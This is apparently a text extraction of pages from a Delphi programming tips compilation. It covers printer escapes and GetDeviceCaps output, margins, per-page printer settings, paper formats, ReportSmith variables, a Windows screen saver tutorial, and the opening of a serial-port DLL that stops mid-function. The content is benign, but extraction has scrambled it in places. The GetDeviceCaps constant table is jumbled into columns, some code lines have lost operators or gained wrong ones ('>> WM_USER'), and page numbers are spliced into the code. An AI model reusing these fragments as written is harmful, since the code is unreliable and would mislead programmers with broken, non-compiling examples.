TestInt : integer; s : string; begin { Test to see if the "PASSTHROUGH" escape is supported } TestInt := PASSTHROUGH;
811
if Escape(Printer.Handle, QUERYESCSUPPORT, sizeof(TestInt), @TestInt, nil) > 0 then begin { Start the printout } Printer.BeginDoc; { Make a string to passthrough } s := ' A Test String '; { Copy the string to the buffer } StrPCopy(Buff.Buffer, s); { Set the buffer length } Buff.BuffLength := StrLen(Buff.Buffer); { Make the escape} Escape(Printer.Canvas.Handle, PASSTHROUGH, 0, @Buff, nil); { End the printout } Printer.EndDoc; end; end; end.
How to print exact sizes From: "Earl F. Glynn"
Use verbose style
Shows values returned by GetDeviceCaps Windows API function. efg, 19 September 1996} interface
812
uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls; type TForm1 = class(TForm) Print: TButton; Image1: TImage; procedure PrintClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation USES Printers; {WINAPI GetDeviceCaps Constants from C++ windows.h and wingdi.h} {The indivdual constants are defined here CONST DRIVERVERSION = 0; TECHNOLOGY = 2; {See windows.h HORZSIZE = 4; VERTSIZE = 6; HORZRES = 8; VERTRES = 10; BITSPIXEL = 12; PLANES = 14; NUMBRUSHES = 16; NUMPENS = 18; NUMMARKERS = 20; NUMFONTS = 22; NUMCOLORS = 24; PDEVICESIZE = 26; CURVECAPS = 28; {See windows.h LINECAPS = 30; {See windows.h POLYGONALCAPS = 32; {See windows.h TEXTCAPS = 34; {See windows.h CLIPCAPS = 36; {See windows.h RASTERCAPS = 38; {See windows.h ASPECTX = 40; ASPECTY = 42; ASPECTXY = 44; LOGPIXELSX LOGPIXELSY
= =
SIZEPALETTE NUMRESERVED COLORRES
= 104; = 106; = 108;
PHYSICALWIDTH PHYSICALHEIGHT PHYSICALOFFSETX PHYSICALOFFSETY SCALINGFACTORX SCALINGFACTORY
= = = = = =
for reference only} for mask values}
for for for for for for
mask mask mask mask mask mask
values} values} values} values} values} values}
for for for for for for
definition} definition} definition} definition} definition} definition}
88; 90;
110; 111; 112; 113; 114; 115;
{See {See {See {See {See {See
wingdi.h wingdi.h wingdi.h wingdi.h wingdi.h wingdi.h
DeviceCapsString: ARRAY[1..34] OF STRING = ('DRIVERVERSION', 'TECHNOLOGY', 'HORZSIZE',
813
'VERTSIZE', 'HORZRES', 'VERTRES', 'BITSPIXEL', 'PLANES', 'NUMBRUSHES', 'NUMPENS', 'NUMMARKERS', 'NUMFONTS', 'NUMCOLORS', 'PDEVICESIZE', 'CURVECAPS', 'LINECAPS', 'POLYGONALCAPS', 'TEXTCAPS', 'CLIPCAPS', 'RASTERCAPS', 'ASPECTX', 'ASPECTY', 'ASPECTXY', 'LOGPIXELSX', 'LOGPIXELSY', 'SIZEPALETTE', 'NUMRESERVED', 'COLORRES', 'PHYSICALWIDTH', 'PHYSICALHEIGHT', 'PHYSICALOFFSETX','PHYSICALOFFSETY','SCALINGFACTORX', 'SCALINGFACTORY'); DeviceCapsIndex: ARRAY[1..34] OF INTEGER = ( 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 88, 90, 104, 106, 108, 110, 111, 112, 113, 114, 115); {$R *.DFM} FUNCTION iPosition(const i: INTEGER): INTEGER; BEGIN RESULT := Integer(i * LongInt(Printer.PageWidth) END {iPosition};
DIV 1000)
FUNCTION jPosition(const j: INTEGER): INTEGER; BEGIN RESULT := Integer(j * LongInt(Printer.PageHeight) DIV 1000) END {jPosition}; procedure TForm1.PrintClick(Sender: TObject); VAR DestinationRectangle: TRect; GraphicAspectRatio : DOUBLE; i : INTEGER; j : INTEGER; iBase : INTEGER; iPixelsPerInch : WORD; jBase : INTEGER; jDelta : INTEGER; jPixelsPerInch : WORD; OffScreen : TBitMap; PixelAspectRatio : DOUBLE; SourceRectangle : TRect; TargetRectangle : TRect; value : INTEGER; x : DOUBLE; y : DOUBLE; begin Printer.Orientation := poLandscape; Printer.BeginDoc; {Draw a rectangle to show the margins} Printer.Canvas.Rectangle(0,0, Printer.PageWidth, Printer.PageHeight); {Properties of Printer and Page} Printer.Canvas.Font.Name := 'Times New Roman'; Printer.Canvas.Font.Size := 12; Printer.Canvas.Font.Style := [fsBold]; Printer.Canvas.TextOut(iPosition(50), jPosition(40), 'Printer/Page Properties'); Printer.Canvas.Font.Style := []; Printer.Canvas.Font.Size := 10;
814
iBase := iPosition(50); jBase := 60; jDelta := 18; Printer.Canvas.TextOut(iPosition(50), jPosition(jBase), Printer.Printers.Strings[Printer.PrinterIndex]); INC (jBase, jDelta); Printer.Canvas.TextOut(iBase, jPosition(jBase), 'Pixels: ' + IntToStr(Printer.PageWidth) + ' X ' + IntToStr(Printer.PageHeight)); INC (jBase, jDelta);
+
Printer.Canvas.TextOut(iBase, jPosition(jBase), 'Inches: ' + FormatFloat('0.000', Printer.PageWidth / Printer.Canvas.Font.PixelsPerInch) + ' X ' FormatFloat('0.000', Printer.PageHeight / Printer.Canvas.Font.PixelsPerInch)); INC (jBase, 2*jDelta); Printer.Canvas.TextOut(iBase, jPosition(jBase), 'Font: ' + Printer.Canvas.Font.Name + ' Size: IntToStr(Printer.Canvas.Font.Size)); INC (jBase, jDelta);
' +
Printer.Canvas.TextOut(iBase, jPosition(jBase), 'PixelsPerInch: ' + IntToStr(Printer.Canvas.Font.PixelsPerInch)); INC (jBase, jDelta); Printer.Canvas.TextOut(iBase, jPosition(jBase), '''TEXT'': ' + IntToStr(Printer.Canvas.TextWidth('TEXT')) + ' X ' + IntToStr(Printer.Canvas.TextHeight('TEXT')) + ' pixels'); {GetDeviceCaps Values} INC (jBase, 2*jDelta); Printer.Canvas.Font.Size := 12; Printer.Canvas.Font.Style := [fsBold]; Printer.Canvas.TextOut(iBase, jPosition(jBase), 'GetDeviceCaps'); INC (jBase, jDelta); Printer.Canvas.Font.Size := 10; Printer.Canvas.Font.Style := []; FOR j := LOW(DeviceCapsIndex) TO HIGH(DeviceCapsIndex) DO BEGIN value := GetDeviceCaps(Printer.Handle, DeviceCapsIndex[j]); Printer.Canvas.TextOut(iBase, jPosition(jBase), DeviceCapsString[j]); IF (DeviceCapsIndex[j] < 28) OR (DeviceCapsIndex[j] > 38) THEN Printer.Canvas.TextOut(iPosition(250), jPosition(jBase), Format('%-8d', [value])) ELSE Printer.Canvas.TextOut(iPosition(250), jPosition(jBase), Format('%.4x', [value])); INC (jBase, jDelta); END; {Put image in lower left corner} Printer.Canvas.Draw (iPosition(300), jPosition(100), Form1.Image1.Picture.Graphic); {Place same image, 1" wide with appropriate height at location 4" over and 1" down from top left}
815
GraphicAspectRatio := Form1.Image1.Picture.Height / Form1.Image1.Picture.Width; iPixelsPerInch := GetDeviceCaps(Printer.Handle, LOGPIXELSX); jPixelsPerInch := GetDeviceCaps(Printer.Handle, LOGPIXELSY); PixelAspectRatio := jPixelsPerInch / iPixelsPerInch; TargetRectangle := Rect(4*iPixelsPerInch, {4"} jPixelsPerInch, {1"} 6*iPixelsPerInch, {6" -- 2" wide} jPixelsPerInch + TRUNC(2*iPixelsPerInch * GraphicAspectRatio * PixelAspectRatio)); Printer.Canvas.TextOut(4*iPixelsPerInch, jPixelsPerInch Printer.Canvas.TextHeight('X'), '2" wide at (4", 1")'); Printer.Canvas.StretchDraw (TargetRectangle, Form1.Image1.Picture.Graphic); {Write to offscreen bitmap and then copy to Printer Canvas} SourceRectangle := Rect (0,0, 3*iPixelsPerInch-1, 2*jPixelsPerInch-1); {This should not work! Rectangle = Left, Top, Right, Bottom Top and Bottom are reversed?} DestinationRectangle := Rect(4*iPixelsPerInch, 6*jPixelsPerInch, 7*iPixelsPerInch-1, 4*jPixelsPerinch-1); Printer.Canvas.TextOut(4*iPixelsPerInch, 4*jPixelsPerInch Printer.Canvas.TextHeight('X'), IntToStr(3*iPixelsPerInch) + ' pixels by ' + IntToStr(2*jPixelsPerInch) + ' pixels -- ' + '3"-by-2" at (4",4")'); OffScreen := TBitMap.Create; TRY OffScreen.Width := SourceRectangle.Right + 1; OffScreen.Height := SourceRectangle.Bottom + 1; WITH OffScreen.Canvas DO BEGIN Pen.Color := clBlack; Brush.Color := clWhite; Rectangle(0,0, 3*iPixelsPerInch-1, 2*jPixelsPerInch-1); Brush.Color := clRed; MoveTo (0,0); LineTo (3*iPixelsPerInch-1, 2*jPixelsPerInch-1); Brush.Color := clBlue; MoveTo (0,0); FOR i := 0 TO 3*iPixelsPerInch - 1 DO BEGIN x := 12*PI*(i / (3*iPixelsPerInch - 1)); y := jPixelsPerInch + jPixelsPerInch*SIN(x); LineTo (i, TRUNC(y)); END END; Printer.Canvas.CopyRect(DestinationRectangle, OffScreen.Canvas, SourceRectangle); FINALLY OffScreen.Free END; {List the fonts for this printer} iBase := iPosition(750); Printer.Canvas.Font.Name := 'Times New Roman';
816
Printer.Canvas.Font.Size := 12; Printer.Canvas.Font.Style := [fsBold]; Printer.Canvas.TextOut(iBase, jPosition(40), 'Fonts'); Printer.Canvas.Font.Style := []; Printer.Canvas.Font.Size := 10; jDelta := 16; FOR j := 0 TO Printer.Fonts.Count - 1 DO BEGIN Printer.Canvas.TextOut(iBase, jPosition(60 + jDelta*j), Printer.Fonts.Strings[j]) END; Printer.EndDoc; end; end.
Windows API about Printer From: David and Rhonda Crowder
Getting the Right and Bottom Margins aren't quite so straightforward. There isn't an equivalent Escape call. You obtain these values by getting the physical width (physWidth) and height (physHeight) of the page, the printable width (PrintWidth) and height (PrintHeight) of the page, and then carrying out the following sums: RightMargin := physWidth - PrintWidth - LeftMargin BottomMargin := physHeight - PrintHeight - TopMargin
The physical page size is found using Escape, this time with the GETPHYSPAGESIZE parameter. The point pntPageSize contains the page width in pntPageSize.x and page height in pntPageSize.y var pntPageSize : TPoint; begin Escape(Printer.Handle, GETPHYSPAGESIZE,o,nil,@pntPageSize); end;
Property changes in same print
817
"D. Bussey"
5. Add the following procedure to the Implementation section of NewPrint.pas: procedure TPrinter.NewPageDC(DM: PDevMode); begin CheckPrinting(True); EndPage(DC); {Check to see if new device mode setting were passed} if Assigned(DM) then ResetDC(DC,DM^); StartPage(DC); Inc(FPageNumber); Canvas.Refresh; end;
6. Instead of adding "Printers" to the USES clause of your application, add "NewPrint". EVERYTHING ELSE WORKS EXACTLY THE SAME (ie BeginDoc, EndDoc, NewPage, etc.) but you now have the capability of changing printer settings on the fly between pages WITHIN THE SAME PRINT DOCUMENT. (The example below shows how.) Instead of calling: Printer.NewPage;
call: Printer.NewPageDC(DevMode);
Here is the small example (with bytes of code from other print altering routines I've gathered). procedure TForm1.Button1Click(Sender: TObject); var ADevice, ADriver, APort: array [0..255] of char;
818
ADeviceMode: THandle; DevMode: PDevMode; begin with Printer do begin GetPrinter(ADevice,ADriver,APort,ADeviceMode); SetPrinter(ADevice,ADriver,APort,0); GetPrinter(ADevice,ADriver,APort,ADeviceMode); DevMode := GlobalLock(ADeviceMode); if not Assigned(DevMode) then ShowMessage('Can''t set printer.') else begin with DevMode^ do begin {Put any other settings you want here} dmDefaultSource := DMBIN_UPPER; {these codes are listed in "Windows.pas"} end; GlobalUnlock(ADeviceMode); SetPrinter(ADevice,ADriver,APort,ADeviceMode); end; end; Printer.BeginDoc; Printer.Canvas.TextOut(50,50,'This page is printing from the UPPER PAPER TRAY.'); with DevMode^ do begin {Put any other settings you want here} dmDefaultSource := DMBIN_LOWER; {these codes are listed in "Windows.pas"} end; Printer.NewPageDC(DevMode); Printer.Canvas.TextOut(50,50,'This page is printing from the LOWER PAPER TRAY.'); Printer.EndDoc; end; {************************************************************* Notes from the author: I've used this myself in applications for my job so I know it will work. These modifications were made in Delphi Client/Server 2.01 running on WinNT 4.0 but they should work with Delphi 2.0 Standard and Professional, and under Windows95 as well. I have not tried them with Delphi 3 yet... If anyone has any comments or questions, feel free to mail me... David A. Bussey ERC/RAL Developer River City Bank [email protected] ************************************************************}
Paper Formats 819
here is an example that lists the paper formats for the default printer: procedure TForm1.Button2Click(Sender: TObject); Type TPaperName = Array [0..63] of Char; TPaperNameArray = Array [1..High(Cardinal) div Sizeof( TPaperName )] of TPaperName; PPapernameArray = ^TPaperNameArray; Var Device, Driver, Port: Array [0..255] of Char; hDevMode: THandle; i, numPaperformats: Integer; pPaperFormats: PPapernameArray; begin Printer.PrinterIndex := -1; Printer.GetPrinter(Device, Driver, Port, hDevmode); numPaperformats := WinSpool.DeviceCapabilities( Device, Port, DC_PAPERNAMES, Nil, Nil ); If numPaperformats > 0 Then Begin GetMem( pPaperformats, numPaperformats * Sizeof( TPapername )); try WinSpool.DeviceCapabilities( Device, Port, DC_PAPERNAMES, Pchar( pPaperFormats ), Nil); memo1.clear; For i:= 1 To numPaperformats Do memo1.lines.add( pPaperformats^[i] ); finally FreeMem( pPaperformats ); end; End; End;
Please email me and tell me if you liked this page. Last modified 03/12/00 12:09:37
820
Report Smith 76. Passing a report variable to ReportSmith
Passing a report variable to ReportSmith M Richens
This caused me a lot of grief to start with but example begin MillCardNewRep.InitialValues.Clear; {Send the Current Milling Number either just finished or the last one to ReportSmith} MillCardNewRep.InitialValues.Add('@MILLING=<'+MillingNoEdit.Text+'>') MillCardNewRep.Run; end;
I declared a report variable MILLING in RS report as a number which is entered from a box BUT notice that you MUST send the value from Delphi as the .Text not as a Value. If needed convert it to str (or PChar??) but I just read it from an edit box which was readonly as I used an AutoIncrement field. Please email me and tell me if you liked this page. Last modified 03/12/00 12:09:48
821
Screen Saver 77. How to Make a Windows Screen Saver in Delphi
How to Make a Windows Screen Saver in Delphi by Mark R. Johnson From time to time, I see questions asked about how to make a Windows screen saver in Delphi that can be selected in the Control Panel Desktop. After seeing a few general responses that only partially answered the question, I decided to give it a try myself. The code you will see here is the result: a simple Windows screen saver. The complete Delphi source code for this screen saver is available for FTP as spheres.zip (4K). Before getting into the details of the code, however, I would like to thank Thomas W. Wolf for the general screen saver tips he submitted to comp.lang.pascal, which I found helpful in writing this article.
Background A Windows screen saver is basically just a standard Windows executable that has been renamed to have a .SCR filename extension. In order to interface properly with the Control Panel Desktop, however, certain requirements must be met. In general, the program must: · maintain optional settings · provide a description of itself · distinguish between active mode and configuration mode · disallow multiple copies of itself to run · exit when the user presses a key or moves the mouse In the following description, I will try to show how each of these requirements can be met using Delphi.
Getting Started The screen saver we are going to create will blank the screen and begin drawing shaded spheres at random locations on the screen, periodically erasing and starting over. The user will be able to specify the maximum number spheres to draw before erasing, as well as the size and speed with which to draw them. To begin, start a new, blank project by selecting New Project from the Delphi File menu. (Indicate "Blank project" if the Browse Gallery appears.)
Configuration Form The first thing most people see of a screen saver is its setup dialog. This is where the user specifies values for options specific to the screen saver. To create such a form, change the properties of Form1 (created automatically when the new project was begun) as follows: BorderIcons
[biSystemMenu]
822
biSystemMenu biMinimize biMaximize BorderStyle Caption Height Name Position Visible Width
True False False bsDialog Configuration 162 CfgFrm poScreenCenter False 266
We want to be able to configure the maximum number of spheres drawn on the screen, the size of the spheres, and the speed with which they are drawn. To do this, add the following three Labels (Standard palette) and SpinEdits (Samples palette): (Note: You can select the following text, copy it to the clipboard, and paste it onto the configuration form to create the components.) object Label1: TLabel Left = 16 Top = 19 Width = 58 Height = 16 Alignment = taRightJustify Caption = 'Spheres:' end object Label2: TLabel Left = 41 Top = 59 Width = 33 Height = 16 Alignment = taRightJustify Caption = 'Size:' end object Label3: TLabel Left = 29 Top = 99 Width = 45 Height = 16 Alignment = taRightJustify Caption = 'Speed:' end object spnSpheres: TSpinEdit Left = 84 Top = 15 Width = 53 Height = 26 MaxValue = 500 MinValue = 1 TabOrder = 0 Value = 50 end object spnSize: TSpinEdit Left = 84 Top = 55 Width = 53 Height = 26 MaxValue = 250 MinValue = 50 TabOrder = 1 Value = 100 end object spnSpeed: TSpinEdit Left = 84 Top = 95 Width = 53 Height = 26 MaxValue = 10
823
MinValue = 1 TabOrder = 2 Value = 10 end
Finally, we need three buttons -- OK, Cancel, and Test. The Test button is not standard for screen saver setup dialogs, but it is convenient and easy to implement. Add the following three buttons using the BitBtn buttons of the "Additional" palette: object btnOK: TBitBtn Left = 153 Top = 11 Width = 89 Height = 34 TabOrder = 3 Kind = bkOK end object btnCancel: TBitBtn Left = 153 Top = 51 Width = 89 Height = 34 TabOrder = 4 Kind = bkCancel end object btnTest: TBitBtn Left = 153 Top = 91 Width = 89 Height = 34 Caption = 'Test...' TabOrder = 5 Kind = bkIgnore end
Once we have the form layout, we need to add some code to make it work. First, we need to be able to load and save the current configuration. To do this, we should place the Spheres, Size, and Speed values into an initialization file (*.INI) in the user's Windows directory. Delphi's TIniFile object is just the thing for this. Switch to the code view for the Setup form, and add the following uses clause to the implementation section of the configuration form's unit: uses IniFiles;
Then, add the following procedure declarations to the private section of the TCfgFrm declaration: procedure LoadConfig; procedure SaveConfig;
Now add the following procedure definitions after the uses clause in the implementation section: const CfgFile = 'SPHERES.INI'; procedure TCfgFrm.LoadConfig; var inifile : TIniFile; begin inifile := TIniFile.Create(CfgFile); try with inifile do begin spnSpheres.Value := ReadInteger('Config', 'Spheres', 50); spnSize.Value := ReadInteger('Config', 'Size', 100); spnSpeed.Value := ReadInteger('Config', 'Speed', 10); end; finally inifile.Free; end;
824
end; {TCfgFrm.LoadConfig} procedure TCfgFrm.SaveConfig; var inifile : TIniFile; begin inifile := TIniFile.Create(CfgFile); try with inifile do begin WriteInteger('Config', 'Spheres', spnSpheres.Value); WriteInteger('Config', 'Size', spnSize.Value); WriteInteger('Config', 'Speed', spnSpeed.Value); end; finally inifile.Free; end; end; {TCfgFrm.SaveConfig}
All that remains for the configuration form is to respond to a few events to properly load and save the configuration. First, we need to load the configuration automatically whenever the program starts up. We can use the setup form's OnCreate event to do this. Double- click the OnCreate field in the events section of the Object Inspector and enter the following code: procedure TCfgFrm.FormCreate(Sender: TObject); begin LoadConfig; end; {TCfgFrm.FormCreate}
Next, double-click the OK button. We need to save the current configuration and close the window whenever OK is pressed, so add the following code: procedure TCfgFrm.btnOKClick(Sender: TObject); begin SaveConfig; Close; end; {TCfgFrm.btnOKClick}
In order to simply close the form (without saving) when the Cancel button is pressed, double-click on the Cancel button and add: procedure TCfgFrm.btnCancelClick(Sender: TObject); begin Close; end; {TCfgFrm.btnCancelClick}
Finally, to test the screen saver, we will need to show the screen saver form (which we haven't yet created). Go ahead and double-click on the Test button and add the following code: procedure TCfgFrm.btnTestClick(Sender: TObject); begin ScrnFrm.Show; end; {TCfgFrm.btnTestClick}
Then add "Scrn" to the uses clause in the implementation section. Scrn refers to the screen saver form unit that we will create in the next step. In the meantime, save this form unit as "Cfg" by selecting Save File As from the File menu.
Screen Saver Form The screen saver itself will simply be a large, black, captionless form that covers the entire screen, upon which the graphics are drawn. To create the second form, select New Form from the File menu and indicate a "Blank form" if prompted by the Browse Gallery. BorderIcons biSystemMenu biMinimize biMaximize BorderStyle Color FormStyle
[] False False False bsNone clBlack fsStayOnTop
825
Name Visible
ScrnFrm False
To this form, add a single component -- a timer from the System category of the Delphi component palette. Set its properties accordingly: object tmrTick: TTimer Enabled = False OnTimer = tmrTickTimer Left = 199 Top = 122 end
No other components will be required for this form. However, we will need to add some code to handle drawing the shaded spheres. Switch to the code window accompanying the ScrnFrm form. In the TScrnFrm private section, add the following procedure declaration: procedure DrawSphere(x, y, size : integer; color : TColor);
Now, in the implementation section of the unit, add the code for this procedure: procedure TScrnFrm.DrawSphere(x, y, size : integer; color : TColor); var i, dw : integer; cx, cy : integer; xy1, xy2 : integer; r, g, b : byte; begin with Canvas do begin {Fill in the pen & brush settings.} Pen.Style := psClear; Brush.Style := bsSolid; Brush.Color := color; {Prepare colors for sphere.} r := GetRValue(color); g := GetGValue(color); b := GetBValue(color); {Draw the sphere.} dw := size div 16; for i := 0 to 15 do begin xy1 := (i * dw) div 2; xy2 := size - xy1; Brush.Color := RGB(Min(r + (i * 8), 255), Min(g + (i * 8), 255), Min(b + (i * 8), 255)); Ellipse(x + xy1, y + xy1, x + xy2, y + xy2); end; end; end; {TScrnFrm.DrawSphere}
As you can see from the code, we are given the (x,y) coordinates of the top, left corner of the sphere, as well as its diameter and base color. Then, to draw the sphere, we step through brushes of increasingly bright color, starting with the given base color. With each new brush, we draw a smaller filled circle concentric with the previous ones. You will also notice, however, that the function refers to another function, Min(). This is not a standard Delphi function, so we must add it to the unit, above the declaration for DrawSphere(). function Min(a, b : integer) : integer; begin if b < a then Result := b else Result := a; end; {Min}
In order to periodically call the DrawSphere() function, we must respond to the OnTimer event of the Timer component we added to the ScrnFrm. Double-click the Timer component on the form and fill in the automatically created procedure with the following code: procedure TScrnFrm.tmrTickTimer(Sender: TObject);
826
const sphcount : integer = 0; var x, y : integer; size : integer; r, g, b : byte; color : TColor; begin if sphcount > CfgFrm.spnSpheres.Value then begin Refresh; sphcount := 0; end; Inc(sphcount); x := Random(ClientWidth); y := Random(ClientHeight); size := CfgFrm.spnSize.Value + Random(50) - 25; x := x - size div 2; y := y - size div 2; r := Random($80); g := Random($80); b := Random($80); DrawSphere(x, y, size, RGB(r, g, b)); end; {TScrnFrm.tmrTickTimer}
This procedure keeps track of the number of spheres that have been drawn in sphcount, and refreshes (erases) the screen when we have reached the maximum number. In the meantime, it calculates the random position, size, and color for the next sphere to be drawn. (Note: The color range is limited to only the first half of the brightness spectrum in order to provide greater depth to the shading.) As you may have noticed, the tmrTickTimer() procedure references the CfgFrm form to retrieve the configuration options. In order for this reference to be recognized, add the following uses clause to the implementation section of the unit: uses Cfg;
Next, we will need a way to deactivate the screen saver when a key is pressed, the mouse is moved, or the screen saver form looses focus. One way to do this is to create an handler for the Application.OnMessage event that looks for the necessary conditions to terminate the screen saver. First, add the following variable declaration to the implementation section of the unit: var crs : TPoint;
This variable will be used to store the original position of the mouse cursor for later comparison. Now, add the following declaration to the private section of TScrnFrm: procedure DeactivateScrnSaver(var Msg : TMsg; var Handled : boolean);
Add the corresponding code to the implementation section of the unit: procedure TScrnFrm.DeactivateScrnSaver(var Msg : TMsg; var Handled : boolean); var done : boolean; begin if Msg.message = WM_MOUSEMOVE then done := (Abs(LOWORD(Msg.lParam) - crs.x) > 5) or (Abs(HIWORD(Msg.lParam) - crs.y) > 5) else done := (Msg.message = WM_KEYDOWN) or (Msg.message = WM_ACTIVATE) or (Msg.message = WM_ACTIVATEAPP) or (Msg.message = WM_NCACTIVATE); if done then Close; end; {TScrnFrm.DeactivateScrnSaver}
When a WM_MOUSEMOVE window message is received, we compare the new coordinates of the mouse to the original location. If it has moved more than our threshold (5 pixels in any direction), then we close the screen saver. Otherwise, if a key is pressed or another window or dialog box takes the focus, the screen saver closes. 827
In order for this procedure to go into effect, however, we need to set the Application.OnMessage property and get the original position of the mouse cursor. A good place to do this is in the form's OnShow event handler: procedure TScrnFrm.FormShow(Sender: TObject); begin GetCursorPos(crs); tmrTick.Interval := 1000 - CfgFrm.spnSpeed.Value * 90; tmrTick.Enabled := true; Application.OnMessage := DeactivateScrnSaver; ShowCursor(false); end; {TScrnFrm.FormShow}
Here we also specify the timer's interval and activate it, as well as hiding the mouse cursor. Most of these things should be undone, however, in the form's OnHide event handler: procedure TScrnFrm.FormHide(Sender: TObject); begin Application.OnMessage := nil; tmrTick.Enabled := false; ShowCursor(true); end; {TScrnFrm.FormHide}
Finally, we need to make sure that the screen saver form fills the entire screen when it is shown. To do this add the following code to the form's OnActivate event handler: procedure TScrnFrm.FormActivate(Sender: TObject); begin WindowState := wsMaximized; end; {TScrnFrm.FormActivate}
Take this opportunity to save the ScrnFrm form unit as "SCRN.PAS" by selecting Save File from the File menu.
The Screen Saver Description You can define the text that will appear in the Control Panel Desktop list of screen savers by adding a {$D text} directive to the project source file. The $D directive inserts the given text into the module description entry of the executable file. For the Control Panel to recognize the text you must start with the term "SCRNSAVE", followed by your description. Select Project Source from the Delphi View menu so you can edit the source file. Beneath the directive "{$R *.RES}", add the following line: {$D SCRNSAVE Spheres Screen Saver}
The text "Spheres Screen Saver" will appear in the Control Panel list of available screen savers when we complete the project.
Active Versus Configuration Mode Windows launches the screen saver program under two possible conditions: 1) when the screen saver is activated, and 2) when the screen saver is to be configured. In both cases, Windows runs the same program. It distinguishes between the two modes by adding a command line parameter -- "/s" for active mode and "/c" for configuration mode. For our screen saver to function properly with the Control Panel, it must check the command line for these switches.
Active Mode When the screen saver enters active mode (/s), we need to create and show the screen saver form. We also need create the configuration form, since it contains all of the configuration options. When the screen saver form closes, the entire program should then terminate. This fits the definition of a Delphi Main Form -- a form that starts when the program starts and signals the end of the application when the form closes.
828
Configuration Mode When the screen saver enters configuration mode (/c), we need to create and show the configuration form. We should also create the screen saver form, in case the user wishes to test configuration options. However, when the configuration form closes, the entire program should then terminate. In this case, the configuration form fits the definition of a Main Form.
Defining the Main Form Ideally, we would like to identify ScrnFrm as the Main Form when a /s appears on the command line, and CfgFrm as the Main Form in all other cases. To do this requires knowledge of an undocumented feature of the TApplication VCL object: The Main Form is simply the first form created with a call to Application.CreateForm(). Thus, to define different Main Forms according to our run-time conditions, modify the project source as follows: begin if (ParamCount > 0) and (UpperCase(ParamStr(1)) = '/S') then begin {ScrnFrm needs to be the Main Form.} Application.CreateForm(TScrnFrm, ScrnFrm); Application.CreateForm(TCfgFrm, CfgFrm); end else begin {CfgFrm needs to be the Main Form.} Application.CreateForm(TCfgFrm, CfgFrm); Application.CreateForm(TScrnFrm, ScrnFrm); end; Application.Run; end.
Just by changing the order of creation, we have automatically set the Main Form for that instance. In addition, the Main Form will automatically be shown, despite the fact that we have set the Visible properties to False for both forms. As a result, we achieve the desired effect with only minimal code. (Note: for the if statement to function as shown above, the "Complete boolean eval" option should be unchecked in the Options | Project | Compiler settings. Otherwise, an error will occur if the program is invoked with no command line parameters.) In order to use the UpperCase() Delphi function, SysUtils must be included in the project file's uses clause to give something like: uses Forms, SysUtils, Scrn in 'SCRN.PAS' {ScrnFrm}, Cfg in 'CFG.PAS' {CfgFrm};
Blocking Multiple Instances One difficulty with Windows screen savers is that they must prevent multiple instances from being run. Otherwise, Windows will continue to launch a screen saver as the given time period ellapses, even when an instance is already active. To block multiple instances of our screen saver, modify the project source file to add the outer if statement shown below: begin {Only one instance is allowed at a time.} if hPrevInst = 0 then begin if (ParamCount > 0) and (UpperCase(ParamStr(1)) = '/S') then begin ... end; Application.Run; end; end;
The hPrevInst variable is a global variable defined by Delphi to point to previous instances of the current program. It will be zero if there are no previous instances still running. 829
Now save the project file as "SPHERES.DPR" and compile the program. With that, you should be able to run the screen saver on its own. Without any command line parameters, the program should default to configuration mode. By giving "/s" as the first command line parameter, you can also test the active mode. (See Run | Parameters...)
Installing the Screen Saver Once you've tested and debugged your screen saver, you are ready to install it. To do so, simply copy the executable file (SPHERES.EXE) to the Windows directory, changing its filename extension to .SCR in the process (SPHERES.SCR). Then, launch the Control Panel, double-click on Desktop, and select Screen Saver | Name. You should see "Spheres Screen Saver" in the list of possible screen savers. Select it and set it up. Copyright © 1995 Mark R. Johnson. This is a Last revised September 4, 1995.
CITY ZOO production.
Please email me and tell me if you liked this page. Last modified 03/12/00 12:10:07
830
Serial Communication 78. DELPHI 2/3 79. Port command and win95, a summary. 80. Hardware port access in DELPHI 2
DELPHI 2/3 From: "Ed Lagerburg"
M_BaudRate M_ByteSize M_Parity M_Stopbits
=1; =2; =4; =8;
{$IFNDEF COMM_UNIT} {$R Script2.Res} {$ENDIF}
//versie informatie
{$IFDEF COMM_UNIT} Function Simple_Comm_Info:PChar;StdCall; Function Simple_Comm_Open(Port:PChar;BaudRate:DWORD;ByteSize,Parity,StopBits:Byte;Mas k:Integer;WndHandle:HWND;WndCommand:UINT;Var Id:Integer):Integer;StdCall; Function Simple_Comm_Close(Id:Integer):Integer;StdCall; Function Simple_Comm_Write(Id:Integer;Buffer:PChar;Count:DWORD):Integer;StdCall; Function Simple_Comm_PortCount:DWORD;StdCall; Const M_None Const M_All
= 0; = 15;
831
Implementation {$ENDIF} Const InfoString = 'Simple_Comm.Dll (c) const MaxPorts = 5; Const bDoRun : Array[0..MaxPorts-1] =(False,False,False,False,False); Const hCommPort: Array[0..MaxPorts-1] Const hThread: Array[0..MaxPorts-1] Const dwThread: Array[0..MaxPorts-1] Const hWndHandle: Array[0..MaxPorts-1] Const hWndCommand:Array[0..MaxPorts-1] Const PortCount:Integer
by E.L. Lagerburg 1997'; of boolean of of of of of
Integer Integer Integer Hwnd UINT
=(0,0,0,0,0); =(0,0,0,0,0); =(0,0,0,0,0); =(0,0,0,0,0); =(0,0,0,0,0); = 0;
Function Simple_Comm_Info:PChar;StdCall; Begin Result:=InfoString; End; //Thread functie voor lezen compoort Function Simple_Comm_Read(Param:Pointer):Longint;StdCall; Var Count:Integer; id:Integer; ReadBuffer:Array[0..127] of byte; Begin Id:=Integer(Param); While bDoRun[id] do Begin ReadFile(hCommPort[id],ReadBuffer,1,Count,nil); if (Count > 0) then Begin if ((hWndHandle[id]<> 0) and (hWndCommand[id] >> WM_USER)) then SendMessage(hWndHandle[id],hWndCommand[id],Count,LPARAM(@ReadBuffer)); End; End; Result:=0; End; //Export functie voor sluiten compoort Function Simple_Comm_Close(Id:Integer):Integer;StdCall; Begin if (ID < 0) or (id > MaxPorts-1) or (not bDoRun[Id]) then Begin Result:=ERROR_INVALID_FUNCTION; Exit; End; bDoRun[Id]:=False; Dec(PortCount); FlushFileBuffers(hCommPort[Id]); if not PurgeComm(hCommPort[Id],PURGE_TXABORT+PURGE_RXABORT+PURGE_TXCLEAR+PURGE_RXCL EAR) then Begin Result:=GetLastError; Exit; End; if WaitForSingleObject(hThread[Id],10000) = WAIT_TIMEOUT then if not TerminateThread(hThread[Id],1) then Begin
832
